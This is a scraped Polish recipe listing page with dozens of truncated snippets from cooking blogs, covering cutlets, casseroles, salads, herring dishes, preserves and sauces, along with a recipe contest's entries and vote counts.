dziś pozostajemy w tamecie grzybów leśnych to podsunę wam mój ulubiony przepis na przetwory- właśnie z grzybami w roli głównej. Przetarte grzybki- puree, które używam przez całą zimę jako sos do makaronów i ziemniaków (jedynie po dodaniu śmietanki). Są również doskonałym dodatkiem do zapiekanek. Składniki: 1 kg leśnych grzybów 3 dag soli ½ łyżeczki pieprzu ½ szklanki wody Wykonanie: Oczyszczone grzyby zalać

Tradycyjna Kuchnia
Fasolowe kotleciki 204

jajkami i gdy masa jest za rzadka wsypać odpowiednią ilość bułki tartej. Formować małe kotleciki, obtaczać w bułce tartej i smażyć na oleju. Można podawać na Wigilię z sosem grzybowym

Tradycyjna Kuchnia
Schab pieczony z suszonymi śliwkami 166

wlać 1/3 szklanki wody i obłożyć śliwkami. Naczynie przykryć i wstawić do średnio nagrzanego piekarnika na około 1 godzinę. Schab podczas pieczenia podlewać małą ilością gorącej wody i wytworzonym sosem. Pod koniec pieczenia oprószyć schab mąką. Upieczony schab podzielić na porcje i obłożyć śliwkami. Podawać do obiadu na gorąco lub na zimno chrzanem

Tradycyjna Kuchnia
Prawdziwe pielmienie rosyjskie- rosyjskie pierogi 139

zmielić, przyprawić do smaku i dokładnie wymieszać. Nakładać na wcześniej przygotowane ciasto formując pielmienie (zlepiać jak pierogi). Gotować w osolonej wodzie około 10 minut. Pielmienie podawać np. z rosołem, sosem lub polane klarowanym masłem

Tradycyjna Kuchnia
Sałatka makaronowa z kurczakiem i brokułami- INACZEJ 368

pokroić w drobną kostkę. Sok z pomarańczy wymieszać z jogurtem i majonezem, dodać sól, pieprz i cukier do smaku. Filety drobiowe połączyć z brokułami i makaronem, połączyć z przygotowanym sosem i posypać skórką z pomarańczy

Tradycyjna Kuchnia
Kotlety jajeczne 205

Formować kotleciki (jeżeli masa za rzadka dosypać bułki tartej). Obtaczać w bułce tartej, smażyć na oleju i bardzo delikatnie wyjmować z patelni gdyż łatwo się kruszą. Najlepiej smakują z sosem koperkowym lub pomidorowym

Tradycyjna Kuchnia
Zraz z parówką w środku 148

włożyć gotowy zraz oprószony mąką. Usmażyć z obu stron na złoty kolor, następnie podlać rosołem i dusić na małym ogniu około 30 minut. Gotowy zrazik kroić ukośnie, podać w sosie własnym i ozdobić świeżą miętą

Tradycyjna Kuchnia
Kotlety z kaszy manny 169

podgotowywać 5 minut. Odstawić, dodać masło i zostawić do przestudzenia. Następnie dodać resztę składników i formować owalne kotleciki. Obtaczać w bułce tartej, smażyć na jasnozłoty kolor, podawać z dowolnym sosem

Tradycyjna Kuchnia
Roladki drobiowe w sosie serowym z suszonymi pomidorami 178

Kurczak w tym sosie smakuje wyśmienicie! Składniki: 4 filety z kurczaka, 4 serki topione, 4 plastry szynki, ½ szklanki bulionu drobiowego, ½ szklanki białego wina, 2 ząbki czosnku, ½ słoiczka suszonych pomidorów w oleju, 3 łyżki oleju, 3 łyżki mleka, ½ łyżeczki gałki muszkatołowej, bazylia, papryka w proszku, sól, pieprz. Wykonanie: Filety lekko utłuc, oprószyć solą, pieprzem, papryką i posmarować serkiem topionym. Następnie położyć

Tradycyjna Kuchnia
Karmelowe gruszki 198

cukrami, a oddzielnie ubić żółtka z mąką ziemniaczaną i migdałami. Połączyć mleko z żółtkami i energicznie mieszając zagotować. Po ostygnięciu dodać alkohol np. rum. Gruszki wyłożyć na półmisek, zalać sosem migdałowym, następnie ozdobić karmelem

Tradycyjna Kuchnia
Zapiekanka pieczarkowa 169

rozprowadzić z zimnym mlekiem (4-5 łyżek mleka).  Następnie resztę mleka zagotować, wlać do zasmażki, połączyć z startym serem, żółtkami i przyprawić do smaku solą i pieprzem. Sosem zalać pieczarki,  wstawić do piekarnika i zapiec. Podawać zaraz po przyrządzeniu z dodatkiem pieczywa

Tradycyjna Kuchnia
Przecier szczawiowy do słoi 173

ulubiony przepis z użyciem tej pysznej i zdrowej roślinki- przecier do słoików. Choć składa się zaledwie z dwóch składników to jest bardzo użyteczny. Tak przygotowany szczaw dodaję do zup, sosów itp. Składniki: 1 kg młodego szczawiu 2 dag soli Wykonanie: Szczaw przebrać, dokładnie opłukać, osączyć i przepuścić przez maszynkę. Następnie posolić do smaku, włożyć do wyparzonych słoików, zamknąć i pasteryzować

Tradycyjna Kuchnia
Nadesłane przepisy konkursowe- GŁOSOWANIE 140

Jabłecznik z bezą 13. Jajko sadzone- ciastko 14. Kawa mrożona z pian ą  15. Kuleczki słodkie i zdrowe 16. Lody 17. Łabędzi puch 18. Mini serniczki waniliowe w sosie wiśniowym 19.   Muffinki jaglane bezglutenowe na kokosowo 20. Muffiny bananowe 21.   Panna cotta 22. Sernik na zimno  23. Tarta owocowa 24. Tęczowy sernik na zimno 25. Tiramisu

Tradycyjna Kuchnia
Przetwory- zapasy zimowe z owoców i warzyw 167

Konfitura z zielonych pomidorów Sałatka warzywna z zielonymi pomidorami Porzeczka Żel porzeczkowy Sałatki/ surówki Warzywna w przecierze własnym Warzywna z burakami Warzywna z zielonymi pomidorami Z cukinii i buraków Sos Słodko- kwaśny- relish Szczaw Przecier Śledzie Marynowany w winie W piwno- cynamonowej marynacie Śliwka Ketchup śliwkowy Śliwki z alkoholem Truskawki Konfitura z kiwi Wiśnia W żelu Żurawina Konfitura Z dynią

Tradycyjna Kuchnia
Wyniki konkursu- słodki przepis na Dzień Matki 173

mrożona z pian 0 0 15 Kuleczki słodkie i zdrowe 5 2 7 16 Lody 7 8 15 17 Łabędzi puch 46 1 47 18 Mini serniczki waniliowe w sosie wiśniowym 0 0 19 Muffinki jaglane bezglutenowe na kokosowo 0 0 20 Muffiny bananowe 0 0 21 Panna cotta 5 5 22 Sernik na zimno 0 0 23 Tarta owocowa

Tradycyjna Kuchnia
Kurczak w sosie z zielonego groszku i porzeczki 184

Kurczak w delikatnym sosie z zielonego groszku, z dodatkiem słodkiego dżemu porzeczkowego. Składniki: 1 podwójny filet z kurczaka 1 łyżeczka mielonego imbiru 1 marchewka 2 łyżki masła 1 puszka zielonego groszku 1 łyżka przyprawy do zup maggi 1 łyżeczka cukru 1 łyżka dżemu z czarnej porzeczki ½ łyżeczki soli 1 łyżeczka mąki ziemniaczanej 3 łyżki wody 3 łyżki oleju Wykonanie: Mięso

Tradycyjna Kuchnia
Cukinia w przecierze do słoików na zimę 199

Uwielbiam sezon cukiniowy! Tak przygotowaną cukinię  używam jako dodatek do dań przez cały rok (np. leczo, sos, zalewa do zapiekanek itp) Składniki: 3 kg cukinii 5 dag soli 4 duże cebule 1 pęczek natki pietruszki Zalewa: 1 szklanka octu 1 szklanka cukru 4 szklanki wody 4 łyżki przecieru pomidorowego Pieprz ziarnisty, ziele angielskie, liść laurowy, gorczyca Sposób przygotowania: Cukinię

Tradycyjna Kuchnia
Pizza ziemniaczana z surowych ziemniaków 240

podpiec na złoty kolor, wyjąć z piekarnika, nałożyć nadzienie(dowolne) i posypać startym serem.  Włożyć ponownie do piekarnika, aż ser się roztopi, kroić i podawać z ketchupem lub sosem czosnkowym

Tradycyjna Kuchnia
Domowy pasztet z grzybów 181

zmielić. Formę wysmarować tłuszczem, posypać bułką tartą, wyłożyć masę grzybową i piec w temperaturze 190 stopni przez około 60 minut. Gotowy, upieczony pasztet podawać z pieczywem lub z sosem do obiadów

Tradycyjna Kuchnia
Pasztet jarski z kaszy manny z zielonym groszkiem 165

groszkiem.  Formę wyłożyć pergaminem, wyłożyć masę warzywną i piec w temperaturze 190 stopni około 50 minut. Po upieczeni i przestudzeniu , kroić na kromki i podawać z dowolnym sosem pikantnym

Tradycyjna Kuchnia
Wigilijne gołąbki z serem białym 216

Nietypowy, wegetariański przepis na gołąbki. Podane w sosie chrzanowym lub grzybowym smakują wybornie! Polecam również: Gołąbki z grochem Gołąbki jarskie z czerwonej kapusty Staropolskie gołąbki na kapuście kiszonej Składniki: 1 główka włoskiej kapusty 1 kg chudego sera 10 dag masła 4 jajka 1 szklanka bułki tartej sól do smaku pieprz do smaku gałka muszkatołowa do smaku mielony kminek do smaku

Tradycyjna Kuchnia
Placki z kapusty włoskiej 166

pieprzem ziołowym oraz wsypać kaszę mannę.  Masę dokładnie wymieszać.  Formować łyżką kotlety i smażyć z obu stron na oleju na złoty kolor.  Podawać z ostrym dowolnym sosem

Tradycyjna Kuchnia
Zapiekane roladki kapuściane 179

Piec w temperaturze 190 stopni około 40 minut.  Pod koniec pieczenia obłożyć roladki żółtym serem. Gdy ser się roztopi, wyjąć danie z piekarnika. Podawać z ketchupem lub sosem pomidorowym

Tradycyjna Kuchnia
Kopytka jaglane 196

masło doprawić do smaku i wrzucić pokrojoną natkę pietruszki.  Z przygotowanego ciasta zrobić wałek na stolnicy, odcinać nożem kopytka i wrzucać na gotującą się osoloną wodę. Podawać z sosami lub polane klarowanym masłem

Tradycyjna Kuchnia
Krokiety z kaszy jaglanej z serem 132

Następnie ostudzić, dodać starty ser, posiekaną zieleninę i jajka. Przyprawić do smaku i formować owalne krokieciki. Panierować w bułce tartej i smażyć na oleju. Podawać do obiadu najlepiej z sosem pomidorowym i surówkami lub z ketchupem

Tradycyjna Kuchnia
Ekspresowa sałatka z tuńczykiem 379

Kilka składników, 5 minut i gotowe! Pyszna sałatka z tuńczykiem! Składniki: 10 dag żółtego sera 5 jaj 1 puszka tuńczyka w sosie własnym 1 cebula majonez Wykonanie: Wszystkie składniki zetrzeć na tarce i układać warstwowo: białka z ugotowanych jaj-ser żółty-połowa tuńczyka-połowa majonezu-cebula- druga połowa tuńczyka-reszta majonezu-żółtka

Tradycyjna Kuchnia
Zapiekanka makaronowa na szybko 140

woda odparuje dodać pokrojoną szynkę/kiełbasę. Chwilę podsmażyć i wyłożyć na makaron i wymieszać . Przecier pomidorowy rozcieńczyć w połowie szklanki wody z przyprawami i 2/3 startego sera. Zalać sosem makaron, posypać resztą sera i piec w temperaturze 180 stopni przez 25 minut

Tradycyjna Kuchnia
Pstrąg smażony sauté 165

polegająca na smażeniu w małej ilości silnie rozgrzanego tłuszczu. Jest to również metoda smażenia mięsa, ryb bez żadnej panierki tylko przyprawionych solą, pieprzem lub ziołami, tzw. smażenie w sosie własnym. Ja dodałam jeszcze odrobinę mąki, a następnie dopiekłam w piekarniku. Składniki: 1 kg pstrąga 8 dag tłuszczu 1 cytryna 3 dag mąki sól do smaku Wykonanie: Rybę sprawić, opłukać

Tradycyjna Kuchnia
Śledź w sosie curry 148

cukru pudru natka pietruszki Wykonanie: Śmietanę rozbić widelcem, wymieszać z musztardą, curry, cukrem pudrem, drobno pokrojoną cebulą i natką pietruszki. Płaty śledziowe ułożyć na półmisku, posypać groszkiem i polać sosem śmietanowym z curry. Przed podaniem potrawę schłodzić w lodówce

Tradycyjna Kuchnia
Buraczki z wiśniami do obiadu 144

Buraczki wyszorować i ugotować. Następnie wystudzić, obrać, pokroić w kostkę i wymieszać z wydrylowanymi wiśniami. Śmietankę wymieszać z sokiem z cytryny, ketchupem i przyprawić do smaku. Następnie polać tym sosem buraczki z wiśniami i odstawić w chłodne miejsce. Surówka wspaniale nadaje się do wykwintnych obiadów

Tradycyjna Kuchnia
Zapiekanka jajeczna 188

przyrumienić na maśle. Posypać mąką, zalać mlekiem, przyprawić i dokładnie wymieszać.  Ugotować jajka na twardo, ostudzić, obrać i pokroić w plastry. Kamionki wysmarować masłem, ułożyć jajka, polać sosem i posypać startym serem, po czym zapiec w gorącym piekarniku przez 10 minut. Zapiekankę możemy również zapiec w jednym naczyniu

Tradycyjna Kuchnia
Babki ziemniaczane 184

wymieszać i przełożyć masę do foremek wysmarowanych resztą masła. Upiec babki na złoto w piekarniku, wyjąć z foremek, posypać posiekanym szczypiorkiem. Podawać do obiadu lub danie samodzielne z dodatkiem sosów

Tradycyjna Kuchnia
Kotlety ryżowe z mięsem 173

ryżowej razem z posiekanym szczypiorkiem i jajkiem. Dokładnie wymieszać, przyprawić do smaku. Formować kotlety i obtaczać w bułce tartej. Smażyć na wolnym ogniu z obu stron i podawać z sosami

Tradycyjna Kuchnia
Mizeria z sałatą i koperkiem 180

koperku. Wykonanie: Sałatę umyć i osuszyć na ściereczce. Ogórki zetrzeć na tarce, wymieszać z jogurtem, roztartym czosnkiem, przyprawami do smaku i koperkiem. Sałatę rozłożyć na salaterce i polać przygotowanym sosem

Tradycyjna Kuchnia
Kotlety jaglane z żółtym serem 153

dodatkiem masła. Wystudzić, wymieszać z jajkami, przyprawami do smaku i startym serem. Uformować kotleciki, obtaczać w bułce tartej i smażyć na oleju z obu stron. Podawać z dowolnym sosem i surówką, jako danie samodzielne lub do obiadu zamiast ziemniaków

Tradycyjna Kuchnia
Imbirowy kurczak curry z rabarbarem 200

Dodać śmietanę, doprawić solą i pieprzem. Filety z kurczaka pokroić w paski, usmażyć na złoty kolor na łyżce oliwy, posypać solą, pieprzem i imbirem. Mięso wyłożyć na talerz, polać sosem rabarbarowym i posypać natką pietruszki

Tradycyjna Kuchnia
Dietetyczna ryba pieczona z papryką 157

wykładamy do żaroodpornego naczynia na wierch ryby wykładamy mieszankę papryki, cebuli i koncentratu pieczemy pod przykryciem przez około 50minut w temperaturze 190 stopni najlepiej smakuję po kilku godzinach, jak sos przesiąknie w rybę ;) SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Kotlety z ciecierzycy 183

dodajemy cebulę i pozostałe składniki i wszystko mieszamy lepimy kotleciki smażymy na rozgrzanej teflonowej patelni około 3 minuty na każdej stronie (pod przykryciem) świetnie też będą smakować z różnymi sosami, ponieważ są dość suche w środku SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Śledź w sosie musztardowym light 300

każdy z was lubi śledzie, ja też nie jem ich za często, ale od dwóch tygodni ciągle miałam na nie ochotę ;) kiedyś kupiłam sobie śledzia w sosie musztardowym i był pyszny! :) jednak w skład wchodził oczywiście majonez, śmietana, cukier i takie tam bomby kaloryczne. Wczoraj przygotowałam sobie light-ową wersję takiego śledzia i dziś kiedy przeszedł przyprawami zjadłam

Zdrowo i dietetycznie. Moja rzeczywistość
Makaron z bananem na słodko 225

ekstrakt waniliowy 60g makaronu razowego/żytniego lum z pszenicy durum z dodatkiem otrębów Sposób przygotowania: Makaron gotujemy banana traktujemy blenderem  dodajemy ekstrakt i ser, mieszamy gotowy makaron polewamy sosem bananowym SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Dietetyczny chlebek pita 223

200g chudego sera białego (kostka) 3 łyżki otrębów 1 łyżeczka proszku do pieczenia sól, kminek, papryka, oregano nasiona do posypania dodatki do środka (u mnie, kurczak, pomidor, mieszanka sałat, sos jogurtowy) Sposób przygotowania: Z sera staramy się odcisnąć jak najwięcej wody (ja po prostu wycisnęłam go w ręce) dodajemy pozostałe składniki i mieszamy następnie formujemy w rękach kulę rozduszamy kule

Zdrowo i dietetycznie. Moja rzeczywistość
Sałatka z tuńczykiem i kaszą jęczmienną 324

ciekawego, może kiedyś wyposażę się w coś lepszego ;) Składniki (na 2 porcje): 100g kaszy jęczmiennej firmy Kupiec (1 woreczek) 2 ogórki kiszone puszka tuńczyka we własnym sosie lub wodzie 0,25-0,5 cebuli (zależy od wielkości) 0,5 puszki kukurydzy (bez dodatku cukru) 0,5 szklanki jogurtu naturalnego 0,5 łyżeczki musztardy sól, pieprz Sposób przygotowania: Kaszę

Zdrowo i dietetycznie. Moja rzeczywistość
Sałatka z kapustą pekińską 355

Mój dzisiejszy obiad, w którym przetestowałam dwie przyprawy otrzymane od firmy Prymat, jedną z nich była sól ziołowa, która moim zdaniem jest super, dzięki niej sos miał odpowiedni smak i nie musiałam używać już innych przypraw, drugim produktem była pikantna przyprawa do kurczaka, trochę jej sypnęłam więc był ogień ale ja lubię ostre potrawy ;) podsumowując oba produkty

Zdrowo i dietetycznie. Moja rzeczywistość
Dietetyczne naleśniki po bolońsku 219

niewielką ilością wody dość często mieszając i dolewając wody, żeby się nie spaliło kiedy mięso będzie dobre dodajemy pokrojone pomidory razem z sokiem i koncentrat ciągle smażymy aż sos się zredukuje i zgęstnieje w tym czasie bierzemy się za naleśniki, miksujemy wszystkie składniki i wylewamy na rozgrzaną teflonową patelnię około 0,5 chochli na jednego naleśnika, długo smażymy

Zdrowo i dietetycznie. Moja rzeczywistość
Kurczak w sosie słodko-kwaśnym 368

czasie w misce mieszamy: sok z ananasa, ocet balsamiczny, miód i skrobię ziemniaczaną tę mieszankę wlewamy na patelnię i dodajemy przecier pomidorowy, kawałki ananasa mieszamy wszystko, aż sos zgęstnieje próbujemy i doprawiamy wg. smaku podajemy z brązowym ryżem SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Białkowe kluski 216

daru do tego typu rzeczy, ale wyszły bez problemu ;) Składniki (12 klusek): 200g sera białego chudego 1 białko z małego jajka (ja użyłam jajek M) 1 łyżeczka stewii sos: miód + kakao Sposób przygotowania: Twaróg odciskamy w rękach lub przez bawełniany ręcznik, żeby pozbyć się nadmiaru wody wyrabiamy ser rękami, żeby stworzył jednolitą, zbitą masę dodajemy białko

Zdrowo i dietetycznie. Moja rzeczywistość
Brukselka pod pierzynką 193

Przedstawiam Wam, mój sposób na brukselkę ;) znów zdecydowałam się na wersję pieczoną, z wierzchu zrobiła się skorupka, natomiast pod spodem wytworzył się gesty sos ;) taka odmiana jakby znudziła Wam się brukselka w standardowej formie, zwłaszcza, że jest to niezwykle prosta i szybka potrawa ;) Składniki: około 200g mrożonej brukselki (dajemy tyle ile zjemy;)) 1 jajko 200g serka wiejskiego ulubione

Zdrowo i dietetycznie. Moja rzeczywistość
Placuszki z tuńczykiem 185

bardzo często, aż mi się znudziły po dość długiej przerwie postanowiłam do nich wrócić, bo są naprawdę smaczne ;) Składniki (6 placuszków): 1 jajko 1 puszka tuńczyka w wodzie lub sosie własnym 3 łyżki otrębów żytnich firmy Kupiec 1 łyżeczka musztardy 1 łyżka pokrojonego szczypiorku 0,5 łyżeczki proszku do pieczenia sól, pieprz do smaku 1 łyżka jogurtu naturalnego Sposób

Zdrowo i dietetycznie. Moja rzeczywistość
Kuskus z kurczakiem i warzywami po włosku ;) 234

kurczaka, zamykamy worek worek wkładamy do żaroodpornego naczynia i pieczemy w temp. 170 stopni przez około 30 minut (na ostatnie 10 minut włączyłam termoobieg) gotowe danie możemy podawać z sosem jogurtowym lub czosnkowym, jak kto woli ;) SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Placek selerowy 196

sobą wszystkie składniki przekładamy do okrągłej formy wyłożonej papierem do pieczenia (chyba że użyjemy formy silikonowej) pieczemy w temp. 200 stopni przez około 50 minut jemy z naszymi ulubionymi sosami ;) SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Odchudzony obiad jak u mamy ;) (kotlety mielone + kluski pseudo śląskie + buraczki) 419

ugotowane kluski odstawiamy do lekkiego przestygnięcia (zaraz po wyciągnięciu z wody są na mój gust zbyt miękki;p) na patelnię na której smażyliśmy kotlety dodajemy odrobinę wody (żeby stworzyć sos) i doprowadzamy do wrzenia kładziemy na patelnię nasze kluski i obsmażamy z każdej strony wykładamy wszystko na talerz i gotowe! ;D SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Zapiekanka z kurczakiem/indykiem i brukselką 174

jakiś czas mieszając kiedy mięso nie będzie już surowe dodajemy koncentrat, sporą ilość świeżego oregano (listki) oraz sól i pieprz wg. smaku dusimy wszystko na małym ogniu, aż nadmiar sosu wyparuje brukselkę gotujemy w osolonej wodzie (ważne żeby się nie rozgotowała) mieszamy ze sobą wszystkie składniki na ciasto połowę ciasta wykładamy do pojemnika (nadającego się do użycia w mikrofalówce

Zdrowo i dietetycznie. Moja rzeczywistość
Pieczone pomidory 170

gustu.  Składniki (3 pomidory-porcje): 3 średniej wielkości pomidory (najlepiej, żeby były już mocno dojrzałe, ale nie za miękkie- wtedy szybciej się upieką) puszka tuńczyka w sosie własnym lub wodzie 1 łyżka twarogu (najlepiej przemielony jak np. Emilka) 3 plastry sera feta o najniższej zawartości tłuszczu (można też wykorzystać mozzarelle light, jednak mi bardziej pasowała feta) 2 łyżki posiekanej

Zdrowo i dietetycznie. Moja rzeczywistość
Placuszki z serka wiejskiego z dodatkiem żurawiny 198

dlatego, że w Biedronce do dziś była promocja -20% na sery białe :D Serki wiejskie używam do rozmaitych potraw, placków (słodkich/słonych), sałatek, jako dodatek do sosów, owoców. Dla mnie jest to produkt uniwersalny bez którego nie potrafię się obyć. Tak więc dziś słodka wersja placków ;) Składniki (na około 10 placuszków): 2 jajka 1 serek wiejski light (200g

Zdrowo i dietetycznie. Moja rzeczywistość
Szpinakowe pesto z proteinowym makaronem 149

umyty szpinak, rozduszony ząbek czosnku, ser i miksujemy na pesto/ przyprawiamy wg. smaku ugotowany makaron odcedzamy i przekładamy ponownie do garnka dodajemy pesto ze szpinaku i całość mieszamy, aż sos oblepi makaron. SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Ekspresowe placki z serka wiejskiego z karmelowym dipem 149

firmy Oleofarm łyżka otrębów owsianych firmy Kupiec jako dodatek  DIP KARMELOWY Sposób przygotowania: Serek wiejski odcedzamy, żeby została tylko gęsta część (zostawiam sobie śmietankę na później np. do sosów;)) do serka dodajemy jajka, len, otręby, mieszamy i ostawiamy na około 3-5 minut, żeby masa spęczniała placuszki smażymy (około łyżka ciasta na jeden placek) na teflonowej patelni (lekko przetartej

Zdrowo i dietetycznie. Moja rzeczywistość
Makaron w kremowym sosie pieczarkowym z dużą dawką pietruszki 210

pieczarki zmiękną i większość wody wyparuje makaron gotujemy zgodnie z instrukcją na opakowaniu na patelnię dodajemy ser twarogowy, mieszamy, przyprawiamy wg. smaku makaron odcedzamy i dodajemy do pieczarkowego sosu, mieszamy i smażymy kilka minut na sam koniec dodajemy posiekaną pietruszkę oraz ser żółty, mieszając smażymy około 5 minut SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Serowa żytnianka 194

dodatkiem do ciast, babek, tortów i ciasteczek, używa jej się do wyrobu większości słodyczy, w tym lodów i czekolady. Specyfikiem tym można przyprawiać także słone dania – znakomicie ożywia on sosy podawane do ryb, mięs (szczególnie cielęciny) czy niektórych owoców morza. Aromat wanilii idealnie zazębia się z cynamonem, goździkami i kakao. doskonale sprawdzi się we wszystkich potrawach, w których dodaje

Zdrowo i dietetycznie. Moja rzeczywistość
Makaron proteinowy z tuńczykiem i zieloną fasolą + recenzja 231

powrotem na mały ogień, ciągle mieszając smażymy, aż zgęstnieje i zacznie bulgotać dodajemy fasolkę, ser żółty, mieszamy, przyprawiamy wg. smaku na koniec wrzucamy makaron i jeszcze chwilę podsmażamy, aż sos ładnie oblepi makaronowe wstążki ;) SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Ekspresowa, pyszna i zdrowa sałatka 468

brokuł,a w szafce zapas tuńczyka ;) przygotowanie zajęło mi maks 15 minut, a smak mniam ;) Składniki (porcja): porcja ryżu niskowęglowodanowego około 8 różyczek brokuł mrożonych puszka tuńczyka we własnym sosie 2-3 łyżki mega gęstego jogurtu naturalnego 1-2 łyżeczki musztardy sól, pieprz wg. smaku łyżka mieszanki ziaren Piekło-Niebo Sposób przygotowania: Ryż gotujemy zgodnie z instrukcją na opakowaniu brokuły

Zdrowo i dietetycznie. Moja rzeczywistość
Zapiekanka ze szpinakiem i indykiem w sosie pomidorowym, może i lasagne 186

woda wyparuje przyprawiamy szpinak wg. smaku na drugą patelnię wrzucamy mięso mielone, mieszamy i smażymy, aż przestanie być surowe do mięsa dodajemy pomidory i koncentrat mięso smażymy, aż sos pomidorowy zgęstnieje, przyprawiamy ziołami oraz solą i pieprzem na spód naczynia żaroodpornego wykładamy jednego naleśnika (ja tak go obkroiłam, żeby wpasował się do prostokątnej formy) na naleśniku rozsmarowujemy szpinak na szpinak

Zdrowo i dietetycznie. Moja rzeczywistość
Makaron z warzywami i tuńczykiem 166

wracam ciemno;/ a sprzętu odpowiedniego nie mam;// Składniki (2-3 porcje)/całość około 850kcal/: 450g mrożonej fasolki szparagowej zielonej 450g mrożonych brokuł 100g makaronu niskowęlowodanowego 180g tuńczyka w sosie własnym 200g koncentratu pomidorowego 3 łyżki Pesto KOTÁNYI z bazylią i pomidorami Sposób przygotowania: Makaron gotujemy zgodnie z instrukcją na opakowaniu brokułu i fasolke gotujemy w osolonej wodzie

Zdrowo i dietetycznie. Moja rzeczywistość
Kotleciki z żółtego grochu 192

następnie lekko spłaszczamy. Obtaczamy w mące (opcjonalnie) i smażymy na rozgrzanym tłuszczu z obu stron na złoty kolor. Kotleciki z żółtego grochu doskonale smakują w towarzystwie grillowanych warzyw i sosu na bazie jogurtu naturalnego. Smacznego

W kuchni Katie
Domowa shoarma 272

chude mięso i górę warzyw i to danie jest dla nich. Bo co może być lepszego niż delikatna pierś kurczaka w aromatycznych przyprawach podana z górą sałatki i sosem jogurtowym? Do przygotowania użyłam domowej przyprawy do shoarmy, która wcale nie jest trudna i zamiast kupnych mieszanek warto pokusić się ją zrobić, a cały obiad to pyszny, szybki, zdrowy posiłek zarówno

Bernika - moj kulinarny pamietnik
Zupa botwinowo-szpinakowa 153

wrzątkiem. Dodajemy soczewicę i gotujemy pod przykryciem około 30 minut aż soczewica zmięknie. Pod koniec gotowania dodajemy pokrojony szpinak i resztę z buraków, doprawiamy około 2 łyżkami sosu sojowego i 2 łyżkami czerwonego octu winnego. Gotujemy jeszcze 5 minut. Smacznego

greenscarf
Sałatka z makaronem i zielonymi szparagami 166

talerzach układamy makaron a na nim układamy szparagi, połówki pomidorków koktajlowych i listki bazylii. Przygotowujemy dresing mieszając do uzyskania jednolitej konsystencji oliwę, miód, krem balsamiczny oraz sól. Przygotowanym sosem polewamy sałatkę. Na wierzch ścieramy skórkę z sparzonej, niewoskowanej cytryny

Pyry na Gaz
Zapiekanka z mięsem mielonym z indyka i puree kalafiorowo-ziemniaczanym 287

Uwielbiam robić zapiekanki. Są proste w wykonaniu, nie zabierają wiele czasu, a zwierają wszystko co lubię: kawałki mięsa, pomidorowy sos i ziemniaki lub makron. Ponadto wszyscy moje domownicy je zajadają bez słowa skargi :)  Tym razem postanowiłam do ziemniaków dorzucić kalafior. Zapiekanka wyszła fantastyczna! Kalafior jest jak najbardziej wyczuwalny, co nadaje jej bardzo unikatowych walorów smakowych.  Polecamy póki sezon

Kolizje Smaków
Kotleciki (Falafel) z zielonej soczewicy czyli Niedzielne Mielenie odc.30 205

Olej powinien mieć ok 2 cm głębokości. Smażymy na rumiano z obu stron. Odsączamy na papierowym ręczniku. Podajemy je na ciepło lub zimno, z sałatą, dobrze pasuje do nich sos na bazie pomidorów

Dzieje kuchennej Wiewióry
988. Obłędnie czekoladowy. 187

Czekoladowy pudding z kaszy manny;  z sosem czekoladowym* i kawałkami oraz truskawkami  *z mlecznej i gorzkiej  Miało być tak fajnie, miał być dzień sportu, czyli zostaję w domu, za to zrobili nam inny plan, specjalnie, abyśmy nie marnowali się na lekcjach typu wf, są za to przedmioty maturalne przez 7 godzin <  3  Miał być

More food, love and dreams
Tagliatelle w sosie śmietanowo-pieczarkowym 164

dokładamy makaron i przeciśnięty przez praskę czosnek. Przyprawiamy przyprawą do spaghetti, solą i pieprzem. Na samym końcu podlewamy wszystko bulionem i dodajemy śmietanę. Całość dokładnie mieszamy i czekamy aż sos ładnie się zredukuje i zgęstnieje. Zapraszam do sklepu RAFEX! Znajdziecie tam mnóstwo ciekawych przypraw! SKLEP RAFEX  (klik

VioletoweKucharzenie
śledzie po węgiersku 572

ogniu przez ok. 10 min. Następnie dodajemy przecier pomidorowy, doprawiamy solą oraz pieprzem i całość dusimy przez ok. 5 min. Śledzie kroimy w dużą kostkę i mieszamy z przygotowanym sosem paprykowo pieczarkowym. Gotową przystawkę schładzamy

Domowy Smak Jedzenia
Kwiaty robinii akacjowej w cieście 182

Usmażenie ich w cieście (tempurze) pozwala zachować ten cudowny zapach, który uwalnia się przy przekrojeniu. Danie bardzo łatwe i szybkie. Samodzielnie podane może być przegryzką. Jeśli podamy z jakimś sosem, będzie aromatyczną przystawką. Ale możemy też podać jako element dania głównego. Składniki (na 2 porcje): 6 kiści kwiatów robinii akacjowej jajko ok. 50 ml lodowatej wody 2 łyżki mąki olej

Weekendy w domu i ogrodzie
Muszelki z fasolką czarne oczko w pomidorach, z grillowaną papryką 214

Zagotuj , przemiszaj, wyłącz.Przykryj pokrywką.Odstaw na bok, aby dwie kultury oraz smaki ładnie sobą przeszły i przyzwyczaiły się do siebie. Ugotuj muszelki al dente. Odcedz. Dodaj płynną część sosu , wymieszaj , wyłóż na okrągłe półmiski, dodaj gęstą część sosu.Posyp listakami bazylii. Jak smakuje? Jak aromatyczny, pełen słońca bilet w jedna stronę na Sycylię, z zachowaniem polskiej kultury i tradycji. Smacznego

Z Kuchni Do Kuchni
Kurczak w pomarańczach 173

roztopić masło i wlać żurawinę i rodzynki wraz z sokiem. Smażyć chwilę, aż do zredukowania się części soku Pomarańczę dokładnie umyć i pokroić na plastry. Kotlety ułożyć i zalać sosem

O kuchni z uczuciem
Grillowane podudzia z kurczaka z dipem paprykowym. 202

dania. W konkursie udało mi się zdobyć nagrodę, a przepis tak przypadł mi do gustu, że postanowiłam się nim podzielić :) Składniki: 4 podudzia z kurczaka   2 łyżki sosu sojowego 1 łyżka cukru sok z 1/2 cytryny sok z 1 pomarańczy 1/4 szklanki oleju 2 ząbki czosnku na dip paprykowy: 1 papryka czerwona 1 łyżeczka oliwy z oliwek

Symfonia smakowa
Roladki wieprzowe 164

